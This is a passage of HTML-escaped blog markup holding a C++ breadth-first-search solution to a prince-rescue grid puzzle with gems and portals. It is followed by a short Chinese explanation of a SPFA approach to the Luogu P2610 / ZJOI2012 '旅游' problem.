0x7ffff\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e princeLocX, princeLocY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e princessLocX, princessLocY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003epoint\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, y;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e kindsOfGemsCollected, timePassed;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e Info, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e time) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethis\u003c/span\u003e-\u0026gt;x = x;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethis\u003c/span\u003e-\u0026gt;y = y;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethis\u003c/span\u003e-\u0026gt;kindsOfGemsCollected = Info;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etimePassed = time;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eportalsMadeByThoughtfulMe\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, y;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;portalList[\u003cspan class=\"number\"\u003e15\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e sizeY, sizeX, kindsOfGemsTOCollect;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dirX[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = \u0026#123; \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dirY[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = \u0026#123; \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e TimeToSavePrincess = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e map[\u003cspan class=\"number\"\u003e210\u003c/span\u003e][\u003cspan class=\"number\"\u003e210\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e visited[\u003cspan class=\"number\"\u003e210\u003c/span\u003e][\u003cspan class=\"number\"\u003e210\u003c/span\u003e][\u003cspan class=\"number\"\u003e32\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eallGemsAreCollected\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e CollectedGemInfo)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cntCollected = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt;= \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((CollectedGemInfo \u0026gt;\u0026gt; i) \u0026amp; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecntCollected++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (cntCollected \u0026gt;= kindsOfGemsTOCollect);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003ereachable\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e GemInfo)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; x \u0026lt; sizeY \u0026amp;\u0026amp; y \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; y \u0026lt; sizeX \u0026amp;\u0026amp; map[x][y] != \u003cspan class=\"string\"\u003e\u0026#x27;#\u0026#x27;\u003c/span\u003e \u0026amp;\u0026amp; visited[x][y][GemInfo] == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ebfs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e startX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e startY, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e targetX, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e targetY, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cntPortal)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003equeue\u0026lt;point\u0026gt; bfsCore;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(startX, startY, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!bfsCore.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epoint currentLoc = bfsCore.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (currentLoc.x == targetX \u0026amp;\u0026amp; currentLoc.y == targetY \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eallGemsAreCollected\u003c/span\u003e(currentLoc.kindsOfGemsCollected)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eTimeToSavePrincess = currentLoc.timePassed;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[currentLoc.x][currentLoc.y] == \u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextX = currentLoc.x + dirX[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextY = currentLoc.y + dirY[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ereachable\u003c/span\u003e(nextX, nextY, currentLoc.kindsOfGemsCollected)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evisited[nextX][nextY][currentLoc.kindsOfGemsCollected] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(nextX, nextY, currentLoc.kindsOfGemsCollected, currentLoc.timePassed + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[currentLoc.x][currentLoc.y] \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e \u0026amp;\u0026amp; map[currentLoc.x][currentLoc.y] \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#x27;4\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e newGemInfo = currentLoc.kindsOfGemsCollected | (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (map[currentLoc.x][currentLoc.y] - \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextX = currentLoc.x + dirX[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextY = currentLoc.y + dirY[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ereachable\u003c/span\u003e(nextX, nextY, newGemInfo)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evisited[nextX][nextY][newGemInfo] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(nextX, nextY, newGemInfo, currentLoc.timePassed + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[currentLoc.x][currentLoc.y] == \u003cspan class=\"string\"\u003e\u0026#x27;$\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; cntPortal; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; j++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextX = portalList[i].x + dirX[j];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextY = portalList[i].y + dirY[j];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (nextX \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; nextX \u0026lt; sizeY \u0026amp;\u0026amp; nextY \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; nextY \u0026lt; sizeX \u0026amp;\u0026amp; map[nextX][nextY] != \u003cspan class=\"string\"\u003e\u0026#x27;#\u0026#x27;\u003c/span\u003e \u0026amp;\u0026amp; visited[nextX][nextY][currentLoc.kindsOfGemsCollected] == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evisited[nextX][nextY][currentLoc.kindsOfGemsCollected] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(nextX, nextY, currentLoc.kindsOfGemsCollected, currentLoc.timePassed + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eTimeToSavePrincess = Never;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cases;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecin \u0026gt;\u0026gt; cases;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (cases--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(visited, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(visited));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//attention::\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//there\u0026#x27;s difference between prince and princess!!!!\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//prince is man and princess is woman!!!!\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecin \u0026gt;\u0026gt; sizeY \u0026gt;\u0026gt; sizeX \u0026gt;\u0026gt; kindsOfGemsTOCollect;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; sizeY; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; sizeX; j++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecin \u0026gt;\u0026gt; map[i][j];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e\u003c/span\u003e (map[i][j]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;$\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eportalList[cnt].x = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eportalList[cnt].y = j;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecnt++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;S\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprinceLocX = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprinceLocY = j;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emap[i][j] = \u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;E\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprincessLocX = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprincessLocY = j;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emap[i][j] = \u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ebfs\u003c/span\u003e(princeLocX, princeLocY, princessLocX, princessLocY, cnt);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (TimeToSavePrincess != Never)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; TimeToSavePrincess \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e cout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;oop!\\n\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"旅游\"\u003e旅游\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: luoguP2610/ZJOI2012\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e由于这样的图一定有:连了两条边的点有且仅有两个,这两个点之间的路径能够通过所有的城市\u003cbr\u003e所以就是要找到任意一个连了两条边的点\u003cbr\u003e对于任意的点,最短路径最长的那个节点总是如上所述的点。\u003cbr\u003e所以对任意节点SPFA,然后找到$max(dis[i])$,再从这里重新SPFA,$output(max(dis[i]))$\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan 